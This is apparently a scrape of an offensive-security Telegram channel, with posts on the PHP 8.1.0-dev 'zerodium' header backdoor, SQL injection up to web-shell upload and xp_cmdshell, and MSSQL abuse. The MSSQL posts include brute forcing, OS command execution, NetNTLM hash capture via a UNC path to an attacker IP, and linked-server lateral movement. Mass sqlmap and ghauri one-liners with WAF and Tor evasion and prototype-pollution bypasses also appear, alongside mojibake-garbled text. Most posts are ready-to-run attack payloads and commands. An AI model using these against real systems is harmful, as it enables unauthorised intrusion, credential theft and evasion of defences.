ExploitQuest
6.84K subscribers
37 photos
9 videos
2 files
41 links
Download Telegram
How do hackers find hidden pages on your site?
It's not magic, it's technique.

It's called Web Fuzzing.
And if you're a developer, a pentester, or just curious, you know that this method is daunting.

Here is a quick example with a well-known tool, but that admins forget too quickly: FFUF (Fuzz Faster U Fool).

๐Ÿ›  Examples of use:

โ€ข Fuzzing with custom headers:

ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -H "Custom-Header: value"


โ€ข Recursive Fuzzing with Specific Depth:

ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -recursion -recursion-depth 2


โ€ข Targeting specific patterns in responses:

ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -mr "regex-pattern"


Why does it work?
Because sites are like untidy houses. There is always a door left ajar.
Fuzzing uses lists of words (often obvious combinations or common names) to force URLs, explore forgotten areas... and reveal login pages, more or less sensitive resources.

But the real danger? It is not the tool.
It is a site that was designed without taking these attacks into account.
๐Ÿ”ฅ6๐Ÿ‘1
PHP 8.1.0-dev RCE via User-Agentt Exploit



Introduction
In some versions of PHP 8.1.0-dev, a Remote Code Execution (RCE) vulnerability was discovered through an uncommon HTTP header called User-Agentt. This vulnerability can be exploited if the application processes incoming headers without proper sanitization, allowing arbitrary system commands to be executed on the server.


How Does the Vulnerability Work?
The vulnerability occurs when the application uses
$_SERVER['HTTP_USER_AGENTT']

unsafely, especially if the value is passed to functions like eval() or system().

If input validation is not implemented, attackers can execute unauthorized commands directly on the server.



Example of Vulnerable PHP Code

<?php
$user_agent = $_SERVER['HTTP_USER_AGENTT'];
eval($user_agent);
?>

Why is this dangerous?
Because an attacker can send an HTTP request with a User-Agentt header containing malicious PHP code, which will be executed directly on the server.

How to Exploit the Vulnerability



1. Testing Delay with sleep()


GET /index.php HTTP/1.1
Host:
vulnerable.com
User-Agentt: zerodiumsleep(5);


โ€ขIf the response is delayed by 5 seconds, it confirms that the code is being executed successfully.

2. Executing a System Command



with system()


GET /index.php HTTP/1.1
Host:
vulnerable.com
User-Agentt: zerodiumsystem('id');


โ€ขIf the server responds with user information such as:

uid=33(www-data) gid=33(www-data) groups=33(www-data)


โ€ขthis means RCE exploitation is successful.


3. Executing PHP via phpinfo()


GET /index.php HTTP/1.1
Host:
vulnerable.com
User-Agentt: zerodiumphpinfo();



โ€ขThis might display the current PHP configuration, which helps in understanding the target environment.



Conclusion
This vulnerability is extremely dangerous because it allows direct command execution on the server, potentially leading to a full compromise. Developers must be cautious about handling external inputs and always keep their PHP versions up to date.




#ExploitQuest #ExploitQuest

@ExploitQuest
๐Ÿ‘5โค1
Forwarded from Global Red Team
ุฃู‡ู„ุงู‹ ูˆุณู‡ู„ุงู‹ ุจูƒู… ุฌู…ูŠุนุงู‹ุŒ
ู‡ุฐู‡ ู…ุฌู…ูˆุนุฉ ู…ู† ุงู„ู‚ู†ูˆุงุช ุงู„ุฎุงุตุฉ ุจู†ุง ูˆุงู„ุชูŠ ู‚ุฏ ุชููŠุฏูƒู… ุฎู„ุงู„ ุฑุญู„ุชูƒู… ููŠ ุงู„ู…ุฌุงู„ ุงู„ุชู‚ู†ูŠ ูˆุฎุงุตุฉู‹ ููŠ ุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.

@iiLinux
ู‚ู†ุงุฉ ุนุงู…ุฉ ุชู‚ูˆู… ุจู†ุดุฑ ุงู„ุชู‚ู†ูŠุงุช ุงู„ุนุงู…ุฉ ูˆ ุชุชู…ูŠุฒ ุจุดุฑูˆุญุงุช ู„ูŠู†ูƒุณ.

@GlobalRedHat
ุงู„ู…ุฌุชู…ุน ุงู„ุฑุณู…ูŠ ู„ู„ู‚ุฑุงุตู†ุฉ ุฐูˆูŠ ุงู„ู‚ุจุนุฉ ุงู„ุญู…ุฑุงุก.

@k7ali_linux
ู‚ู†ุงุฉ ุชุฎุต ุดุฑูˆุญุงุช ูƒุงู„ูŠ ู„ูŠู†ูƒุณ ุจุดูƒู„ ู…ุฎุชู„ู ูˆู…ุชู…ูŠุฒ.

@ExploitQuest
ู‚ู†ุงุฉ ุชู‡ุชู… ุจุงูƒุชุดุงู ุงู„ุซุบุฑุงุช ูˆ ุงุณุชุบู„ุงู„ู‡ุง ุจุงู„ุฅุถุงูุฉ ุฅู„ู‰ ุงู„ุดุฑูˆุญุงุช ุงู„ู…ู…ูŠุฒุฉ ููŠู‡ุง.
@EgyptianshieldTOOLS
ู‚ู†ุงุฉ ุฎุงุตุฉ ุจุงู„ุฃุฏูˆุงุช ุงู„ู…ุณุชุฎุฏู…ุฉ ููŠ ุงู„ุจุฑู…ุฌุฉ ูˆุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.

@iiMrDark
ู‚ู†ุงุฉ ุชู‚ุฏู… ู…ุญุชูˆู‰ ุฎุงุต ุจุงู„ุชุณุฑูŠุจุงุช ูˆุงู„ุจุฑุงู…ุฌ.

@Wa3i_Tech
ู‚ู†ุงุฉ ุชู‚ุฏู… ุงู„ูˆุนูŠ ููŠ ุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ ูˆุดุฑูˆุญุงุช ู…ุจุณุทุฉ.

@codearabs
ู‚ู†ุงุฉ ู…ุฎุชุตุฉ ุจุชุณุฑูŠุจ ูƒูˆุฑุณุงุช ุงู„ุดุฑูƒุงุช ุงู„ู…ุดู‡ูˆุฑุฉ ููŠ ุงู„ู…ุฌุงู„ุงุช ุงู„ุชู‚ู†ูŠุฉ.

@Egyshield
ู‚ู†ุงุฉ ู…ุฎุชุตุฉ ุจุงู„ุดุฑูˆุญุงุช ูˆุงู„ุฃุฎุจุงุฑ ุงู„ุชู‚ู†ูŠุฉ ูˆุชุญุฏูŠุฏุงู‹ ููŠ ุงู„ุจุฑู…ุฌุฉ ูˆุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠ.

@GlobalRedTeam
ุงู„ู…ุฌุชู…ุน ุงู„ุฑุณู…ูŠ ู„ู€Global Red Team

@darkcsc
ู‚ู†ุงุฉ ุฎุงุตุฉ ุจุนู„ู… ุงู„ุญุงุณูˆุจ ูˆุชุญุชูˆูŠ ุนู„ู‰ ุดุฑูˆุญุงุช ุชุฎุต ุงู„ุญุงุณูˆุจ ุจุดูƒู„ ุนุงู….
Forwarded from Global Red Hat
Join our group
ุงู†ุถู…ูˆุง ุฅู„ู‰ ู…ุฌู…ูˆุนุชู†ุง
https://t.me/GlobalRedHatGroup
Finding SQL Injection Vulnerabilities in Multiple Ways with Examples + Achieving RCE via SQLi


SQL Injection (SQLi) is one of the most critical web vulnerabilities, allowing an attacker to manipulate database queries, extract sensitive data, modify records, or even execute system commands (RCE - Remote Code Execution).


This article will explore multiple ways to detect SQLi vulnerabilities with practical examples and then demonstrate how SQLi can lead to RCE.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

1. Discovering SQL Injection Vulnerabilities in Multiple Ways



๐Ÿ”นMethod 1: Manual Testing with Special Characters

The simplest way to test for SQL Injection is by inserting special characters such as:

'
"
--
#
;


Example 1: Injecting a Single Quote

'


If a website has a login page like:

https://example.com/login.php?user=admin


Try entering:

https://example.com/login.php?user=admin'


If an error appears like:

You have an error in your SQL syntax...


It indicates an SQL Injection vulnerability.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

๐Ÿ”นMethod 2: Injecting Simple SQL Queries

If the backend SQL query looks like this:

SELECT * FROM users WHERE username = '$user' AND password = '$pass'

You can try the following payloads:

admin' --


or

' OR '1'='1' --


If you gain access without entering a password, the application is vulnerable.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

๐Ÿ”น Method 3: Using SQLMap for Automated Testing

๐Ÿ”น SQLMap is a powerful tool for automated SQL Injection detection. Run:


sqlmap -u "https://example.com/login.php?user=admin" --dbs


SQLMap will analyze the URL and extract the database names if vulnerable.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

๐Ÿ”นMethod 4: Testing with SQL Sleep (Time-Based SQLi)

If error messages are hidden, you can test for Time-Based SQLi:

https://example.com/page?id=1' AND SLEEP(5) --


If the page takes 5 seconds to load, the database is likely vulnerable.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

๐Ÿ”นMethod 5: Data Extraction via UNION-Based SQL Injection

If a website displays data from a database, try injecting a UNION SELECT query:

https://example.com/page?id=1 UNION SELECT 1,2,3,4 --


If numbers or unexpected data appear, the website is vulnerable.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”


2. Escalating SQL Injection to RCE (Remote Code Execution)

If SQL Injection allows file operations via LOAD_FILE() or OUTFILE, you can execute commands on the server.

๐Ÿ”นExample: Uploading a Web Shell via SQLi

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

Now, access the shell through:

http://target.com/shell.php?cmd=whoami


๐Ÿ”นIf SQL Server has xp_cmdshell enabled, execute system commands like:

EXEC xp_cmdshell 'whoami';


This will return the current system user running the database service
.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

3. Exploiting SQL Injection to Gain Admin Access

In some cases, SQLi can be used to escalate privileges by modifying session data:

UPDATE users SET is_admin = 1 WHERE username = 'victim';

Or steal an admin session:

SELECT session_id FROM users WHERE username = 'admin';


๐Ÿ’ก Conclusion


โ€ขTest manually using ' and OR 1=1

โ€ขUse SQLMap for automatic SQLi detection

โ€ขEscalate SQLi to RCE if the system allows file operations

โ€ขTest SQL Sleep (Time-Based Injection) for hidden errors

โ€ขUse UNION SELECT to extract sensitive data


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

๐Ÿš€ Join now

[https://t.me/ExploitQuest]



#SQLi #XSS #RCE #LFI #WebSecurity #Exploit #CVE #Malware #ReverseEngineering
๐Ÿ‘11โค6
This media is not supported in your browser
VIEW IN TELEGRAM
Today my birthday โค๏ธ
โค22๐Ÿฅฐ4๐Ÿ‘1
CORS one liner command exploiter


This is an extremely helpful and practical Cheatsheet for Bug Hunters, which helps you find CORS missconfiguration in every possible method. Simply replace
https://example.com with the URL you want to target. This will help you scan for CORS vulnerability without the need of an external tool. What you have to do is to copy-and-paste the commands into your terminal and finger crossed for any possible CORS.

Github


#SQLi #XSS #RCE #LFI #WebSecurity #Exploit #CVE
๐Ÿ‘5๐Ÿ‘5
Media is too big
VIEW IN TELEGRAM
"I discovered a vulnerability in a website that allowed me to escalate my privileges from a regular user to an admin. This privilege escalation granted me access to other users' data, the full database, and the admin control panel."

https://t.me/ExploitQuest
โค22๐Ÿคฏ10๐Ÿ‘4๐Ÿ”ฅ3๐Ÿคท2
Changing HTTP Request Methods and Their Security Impact
When we send a GET request to a website like
site.com, we usually receive an HTML page or another expected response.

But what happens if we change the request method to POST, PUT, or DELETE?

This can lead to different reactions from the server, such as:


1-Rejecting the request and returning 405 Method Not Allowed.

2-Processing the request in an
unexpected way, potentially causing errors or data leaks.

3-In rare cases, this can lead to
severe security vulnerabilities, such as Remote Code Execution (RCE).



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Impact on Web Frameworks (e.g., Laravel)


Some web frameworks, like Laravel, return sensitive information when an error occurs, especially if debug mode is enabled. Changing the request method unexpectedly may trigger errors that expose:

โ€ขDatabase credentials.

โ€ขEnvironment variables.

โ€ขFile paths and internal configurations.

In some cases, improper handling of user input can even lead to RCE vulnerabilities, allowing an attacker to execute commands on the server.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Practical Examples


Example 1: 405 Error When Changing Method

Trying to send a POST request to an endpoint that only allows GET:

curl -X POST http://example.com/


The server might respond with:

HTTP/1.1 405 Method Not Allowed



Example 2: Internal Error Due to Unexpected Request

If a server encounters an error when

processing an unexpected request method, it might return:

HTTP/1.1 500 Internal Server Error



In Laravel, if APP_DEBUG=true, it might expose sensitive details like:


SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost'


This could reveal database credentials or configuration files.

Example 3: RCE Exploitation in Laravel

If an application uses eval() or system() with unsanitized user input, an attacker may be able to execute system commands by altering the request:

curl -X DELETE http://example.com/delete_user --data "id=1; system('whoami');"


If the server is not properly filtering input, it may execute the whoami command and return the server's user name.


#SQLi #XSS #RCE #LFI #WebSecurity #Exploit #CVE
๐Ÿ‘5๐Ÿ”ฅ2โค1
A Simple Yet Effective Way to Find SQLI Vulnerabilities


Sometimes, simple methods work best when hunting for SQL injection (SQLI) vulnerabilities. Hereโ€™s an optimized approach:

1. Extract Potential Targets
Use Wayback Machine URLs to find historical URLs with parameters:

waybackurls --dates target.com | grep '?id='


This helps identify pages that may still be vulnerable.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

2. Test for SQLI Sleep-Based Vulnerabilities
Use the following payload:

if(now()=sysdate(),SLEEP(8),0)



If the response is delayed by ~8 seconds, the parameter is likely injectable.

โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

3. Manual Testing with cURL

curl -X GET "https://target.com/page.php?id=1" --data-urlencode "id=1' OR if(now()=sysdate(),SLEEP(8),0) -- -" -H "X-Forwarded-For: 127.0.0.1"



โ€ขThe X-Forwarded-For header may help bypass basic IP-based WAF restrictions.

โ€ขModify headers like User-Agent to mimic real traffic.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

4. Automated Testing with Ghauri (Bypassing WAFs)


ghauri -u "https://target.com/page.php?id=1" --timeout=30 --delay=5 --technique=BEST --level=3 --prefix="/**/" --suffix="-- -" --safe-chars="[]" --random-agent --ignore-code=403


--timeout=30: Sets the request timeout to 30 seconds.

--delay=5: Adds a 5-second delay between requests to avoid detection.

--technique=BEST: Uses the most effective SQL injection techniques.

--level=3: Performs more advanced tests for better detection.

--prefix="/**/": Adds a comment prefix to bypass WAF filters.

--suffix="-- -": Ends the payload with a SQL comment to evade detection.

--safe-chars="[]": Prevents certain characters from being URL-encoded.

--random-agent: Uses a random User-Agent to avoid fingerprinting.

--ignore-code=403: Ignores 403 Forbidden responses to continue scanning.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

5. Advanced Testing with SQLMap

sqlmap -u "https://target.com/page.php?id=1" --batch --random-agent --tamper="between,space2comment,charencode" --timeout=15 --time-sec=8 --level=5 --risk=3



--random-agent: Uses random user-agents to avoid detection.

--tamper: Applies obfuscation techniques to evade WAFs.

--risk=3 --level=5: Enables deep scanning with advanced payloads.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Conclusion
โœ… Wayback Machine helps find old endpoints.

โœ… Manual payloads help confirm basic SQL injection.

โœ… Ghauri & SQLMap provide automation with WAF bypass techniques.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

[https://t.me/ExploitQuest]

#BugBounty #SQLi #SQLInjection #PenTesting #CyberSecurity #EthicalHacking #InfoSec #RedTeam #WebSecurity #Hacking #BugHunter #WAFBypas
โค8๐Ÿ‘2๐Ÿ”ฅ1
Here is a more optimized one-liner for finding SQL injection vulnerabilities while bypassing WAF efficiently:

gau target.com | grep '=' | anew urls.txt | httpx -silent -status-code -mc 200 | awk '{print $1}' | xargs -I{} sqlmap -u "{}" --random-agent --tamper="between,space2comment,charencode" --level=5 --risk=3 --batch --threads=10 --time-sec=5

More aggressive alternative for bypassing WAF with Tor and Hex encoding:

gau target.com | grep '=' | anew urls.txt | httpx -silent -status-code -mc 200 | awk '{print $1}' | xargs -I{} sqlmap -u "{}" --random-agent --tor --proxy="socks5://127.0.0.1:9050" --tamper="space2comment,charencode,randomcase" --hex --batch --threads=5 --timeout=10

Try it and see the results!
๐Ÿ‘6๐Ÿ‘3
These commands and URLs are used for gathering and analyzing data about a specific domain (example.com in this case).
The goal is to identify exposed files, sensitive information, and security-related data. Here's a breakdown:




1๏ธโƒฃ Using Archive.org to Find Archived URLs
URL:



https://web.archive.org/cdx/search/cdx?url=*.example.com/*&collapse=urlkey&output=text&fl=original

Explanation:


โ€ขThis query retrieves all archived URLs of example.com from Wayback Machine.

โ€ข*.example.com/* searches for all subdomains and pages.

โ€ขcollapse=urlkey removes duplicate URLs.

โ€ขoutput=text formats the output as
plain text.

โ€ขfl=original extracts only the original URLs without extra metadata.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

2๏ธโƒฃ Using VirusTotal to Get a Domain Report
URL:


https://www.virustotal.com/vtapi/v2/domain/report?apikey=YOUR_API_KEY&domain=example.com

Explanation:

โ€ขRetrieves a security report for
example.com from VirusTotal.

โ€ขThis report includes:
Blacklist status
Malicious activities detected
Known associated malicious URLs

โ€ขReplace YOUR_API_KEY with a valid VirusTotal API key.




โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”


3๏ธโƒฃ Using AlienVault OTX to Fetch URLs Related to a Domain
URL:


https://otx.alienvault.com/api/v1/indicators/hostname/domain.com/url_list?limit=500&page=1

Explanation:

โ€ขQueries AlienVault OTX for URLs associated with domain.com.

โ€ขlimit=500 retrieves up to 500 URLs per page.

โ€ขpage=1 fetches the first page of results.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

4๏ธโƒฃ Using curl to Fetch Archived URLs and Save Them to a File
Command:


curl -G "https://web.archive.org/cdx/search/cdx" \
--data-urlencode "url=*.example.com/*" \
--data-urlencode "collapse=urlkey" \
--data-urlencode "output=text" \
--data-urlencode "fl=original" > out.txt

Explanation:

โ€ขFetches all archived URLs of
example.com from Wayback Machine.

โ€ขSaves the output to out.txt for further processing.




โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

5๏ธโƒฃ Extracting Sensitive Files Using uro and grep
Command:


cat out.txt | uro | grep -E '\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5|\.exe|\.dll|\.bin|\.ini|\.bat|\.sh|\.tar|\.deb|\.rpm|\.iso|\.img|\.apk|\.msi|\.dmg|\.tmp|\.crt|\.pem|\.key|\.pub|\.asc'

Explanation:

1-cat out.txt โ†’ Reads the archived URLs from out.txt.

2-uro โ†’ Deduplicates and normalizes URLs.

3-grep -E โ†’ Uses regular expressions (regex) to extract potentially sensitive files, such as:

โ€ขDatabase files: .sql, .db, .backup
โ€ขDocuments: .xls, .xlsx, .doc, .pdf, .txt
โ€ขCompressed archives: .zip, .tar.gz, .rar, .7z
โ€ขEncryption keys: .pem, .crt, .key, .asc
โ€ขConfiguration files: .config, .ini, .yaml, .yml
โ€ขExecutable files: .exe, .dll, .apk, .msi




โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”


๐Ÿ” Summary:

These commands help in discovering and analyzing sensitive files that might be publicly accessible by:

1-Fetching archived URLs from Wayback Machine.

2-Checking for malicious activity on VirusTotal and AlienVault.

3-Filtering sensitive files using grep and uro.



[https://t.me/ExploitQuest]

#BugBounty #SQLi #SQLInjection #PenTesting #CyberSecurity #EthicalHacking #InfoSec #RedTeam #WebSecurity #Hacking #BugHunter #WAFBypas
โค6๐Ÿ‘5
๐Ÿ”นMicrosoft SQL Server Abuse Techniques ๐Ÿ”น


๐Ÿ‘‹ Hello, friends!
I often discuss Microsoft SQL Server (MSSQL) abuse in interviews, and surprisingly, many people have only a superficial understanding of it. However, MSSQL is widely used in corporate networks, and if misconfigured, it can become a valuable entry point for attackers.

In this post, I have gathered the main MSSQL abuse techniques to help you:

โœ… Understand possible attack vectors.

โœ… Prepare for interviews.

โœ… Organize your knowledge.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”



๐Ÿ“– MSSQL Basics
Microsoft SQL Server (MSSQL) is a relational database management system (DBMS) developed by Microsoft, commonly used in corporate environments for storing and processing data.

๐Ÿ”น Main Components:


โœ… Database Engine โ€“ Stores, processes, and manages data.

โœ… SQL Server Agent โ€“ Automates tasks (e.g., backups).

โœ… SQL Server Browser โ€“ Helps clients find MSSQL instances.

โœ… SSIS (Integration Services) โ€“ Handles data integration.

โœ… SSRS (Reporting Services) โ€“ Generates reports.

โœ… SSAS (Analysis Services) โ€“ Provides analytics and data processing.

๐Ÿ”น User Roles in MSSQL:

๐Ÿ”ธ sysadmin โ€“ Full privileges on the server.

๐Ÿ”ธ db_owner โ€“ Full rights within a specific database.

๐Ÿ”ธ db_datareader โ€“ Read-only access.

๐Ÿ”ธ db_datawriter โ€“ Ability to modify data.

๐Ÿ”ธ public โ€“ Default role for all users (may have more permissions than expected).

๐Ÿ”น Authentication Methods:

๐Ÿ”น Windows Authentication โ€“ Uses NTLM/Kerberos for domain-based authentication.

๐Ÿ”น SQL Authentication โ€“ Uses local MSSQL accounts (e.g., sa, custom user logins).



๐Ÿ” Detecting MSSQL on the Network
Before attacking, you must first locate MSSQL instances.

๐Ÿ”น PowerUpSQL (PowerShell)

Get-SQLInstanceDomain


๐Ÿ”น Nmap

nmap -p 1433 --script ms-sql-info <IP>


๐Ÿ”น Metasploit

use auxiliary/scanner/mssql/mssql_ping


๐Ÿ”น go-windapsearch

go-windapsearch -d domain.local -u Administrator -p 'password1111' -m custom --filter="(&(objectClass=computer)(servicePrincipalName=*MSSQLSvc/*))" --attrs cn,servicePrincipalName


๐Ÿ”‘ Gaining Access to MSSQL
๐Ÿ”น Brute Force Attack


hydra -L users.txt -P pass.txt <IP> mssql
netexec mssql <target-ip> -u username -p passwords.txt



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”


๐Ÿš€ Privilege Escalation: Local Admin โ†’ Sysadmin

The main MSSQL process (sqlservr.exe) runs under a Windows account with limited privileges, but inside SQL Server, it is often assigned sysadmin by default. Compromising this service can lead to full domain control!

๐Ÿ”น Step 1: Find Local MSSQL

Get-SQLInstanceLocal


๐Ÿ”น Step 2: Impersonate SQL Service Accounts

Invoke-SQLImpersonateService -Verbose -Instance your_instance_name


๐ŸŽฏ Executing OS Commands via MSSQL
If an attacker gains access to MSSQL, they can execute Windows commands using:

๐Ÿ”น CLR (Common Language Runtime) Assembly
Allows executing .NET code (C#,
VB.NET) inside MSSQL.

Invoke-SQLOSCLR -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"



๐Ÿ”น OLE Automation Procedures
Allows running COM objects from T-SQL.

Invoke-SQLOSOle -Username sa -Password Pass123 -ServerInstance <IP> -Command "whoami"



๐Ÿ”น xp_cmdshell (Built-in Stored Procedure)
Executes Windows commands directly from MSSQL.

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';



Invoke-SQLOSCmd -Username sa -Password sa -Instance your_instance_name -Command "whoami"





โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”



๐Ÿ”š Conclusion
MSSQL misconfigurations can lead to serious security risks, including:
โš  Unauthorized access to databases.
โš  Privilege escalation to sysadmin.
โš  Remote code execution (RCE).
โš  Lateral movement across corporate networks.
๐Ÿ” Understanding these techniques is essential for security professionals to prevent attacks and secure corporate environments. Stay safe! ๐Ÿš€


[https://t.me/ExploitQuest]

#CyberSecurity #MSSQL #EthicalHacking
๐Ÿ‘8๐Ÿ”ฅ5
MSSQL Exploitation Techniques

๐Ÿ”น External Scripts (Python/R) โ€“ Allows executing Python & R code in Microsoft SQL Server.

-- Execute Python script
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'

-- Execute R script
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));

PowerUpSQL Commands:

# Remote Execution
Invoke-SQLOSCmdPython -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
Invoke-SQLOSCmdR -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"

# Local Execution
Get-SQLInstanceLocal | Invoke-SQLOSCmdPython -Verbose -Command "whoami"
Get-SQLInstanceLocal | Invoke-SQLOSCmdR -Verbose -Command "whoami"

๐Ÿ”น UNC Path Injection โ€“ Extracts NetNTLM hashes via SMB.

EXEC xp_cmdshell 'net use Z:\\YOUR_IP\share';

PowerUpSQL Command:

Invoke-SQLUncPathInjection -Verbose -CaptureIp YourResponderHost

๐Ÿ”น Lateral Movement via Linked Servers
Linked Servers allow connections to other SQL Servers, MySQL, Oracle, PostgreSQL, and more.

-- List Linked Servers
EXEC sp_linkedservers;

-- Execute command on remote server
EXEC ('whoami') AT [LINKED_SERVER];

PowerUpSQL Commands:

# Find linked servers
Get-SQLServerLink -Instance YourInstance -Verbose

# Check privileges on remote server
Get-SQLServerLinkCrawl -Instance YourInstance -Verbose

# Enable xp_cmdshell on linked server
Get-SQLServerLinkCrawl -Instance YourInstance -Query "EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT YOUR_LINKED_SERVER"

๐Ÿ”ฅ That's all, friends!
Happy hacking and see you next time! ๐Ÿš€


#RedTeam #MSSQL #BugBounty #CyberSecurity
๐Ÿ‘5โค4๐Ÿคฏ3
Prototype Pollution Vulnerability
Prototype Pollution is a security vulnerability in JavaScript that allows an attacker to add arbitrary properties to the prototype (the root object) of a general object. This enables an attacker to modify object properties that would typically be inaccessible.

However, this vulnerability alone is not always exploitable. To increase its impact, an attacker often combines it with other vulnerabilities like Cross-Site Scripting (XSS) to execute malicious actions.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”


Understanding JavaScript Object Prototypes
In JavaScript, everything is an object. An object is essentially a collection of key-value pairs where values can be of any data type, such as boolean, string, integer, etc.

Creating an object in JavaScript is simple:



let userInfo = {
"username": "admin",
"password": "1qaz2wsx3edc",
"email": "admin@victim.com"
};

To access properties of this object, we can use two methods:

1-Dot notation:

userInfo.username;


Bracket notation:

userInfo["username"];


One of these methods is used for polluting the prototype of an object.



โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

How Prototype Pollution Works
When a property of an object is accessed, the JavaScript engine first looks for it inside the object itself.

โ€ขIf the property does not exist in the object, JavaScript traverses up the prototype chain to find it in the parent prototype.
To better understand this, open the browser Console and create an object. JavaScript will automatically connect it to one of the built-in prototypes based on its type.

Example:

var name = "Arya";
console.log(name.proto);


Since "Arya" is a string, it inherits all properties from JavaScript's String prototype.
Using dot notation or bracket notation, we can see various inherited properties that were not explicitly defined.

Moreover, we can manually reference an object's prototype using:

a.proto;

Ex
ploiting Prototype Pollution
If an attacker overwrites a property in a prototype that is being used in the frontend or backend of a web application, it can lead to serious security issues.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

Testing for Prototype Pollution
To test for Prototype Pollution, modify the URL as follows and send a request:

1๏ธโƒฃ Dot Notation Approach

http://target.com/?proto.arya=arya


2๏ธโƒฃ Bracket Notation Approach


http://target.com/?proto[arya]=arya


Bypassing WAF (Web Application Firewall)

If the WAF blocks the proto keyword, we can use constructor-based techniques:

/?constructor.prototype.arya=arya
/?constructor[prototype][arya]=arya



If the WAF still blocks requests, we can use nested obfuscation techniques:

/?proprototo[arya]=arya
/?proprototo.arya=arya
/?constconstructorructor[protoprototypetype][arya]=arya
/?constconstructorructor.protoprototypetype.arya=arya


Confirming
the Vulnerability
To check if the property was successfully polluted, create an empty object in the browser console and try accessing the polluted property:

let test = {};
console.log(test.arya); // Output: "
arya"


If the property value appears, the Prototype Pollution vulnerability exists on the target system.


โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”


Conclusion
Prototype Pollution is a powerful vulnerability that, when combined with other exploits, can lead to serious security risks. Understanding how JavaScript's prototype system works is essential for both attackers and defenders to identify and mitigate such threats effectively.



[https://t.me/ExploitQuest]

#CyberSecurity #MSSQL #EthicalHacking
#PrototypePollution
#JavaScriptSecurity
#WebSecurity
#BugBounty
#EthicalHacking
#CyberSecurity
#SecurityResearch
#WebHacking
โค7๐Ÿ‘6๐Ÿ”ฅ4
ุฃู‡ู„ุงู‹ ูˆุณู‡ู„ุงู‹ ุจูƒู… ุฌู…ูŠุนุงู‹ุŒ
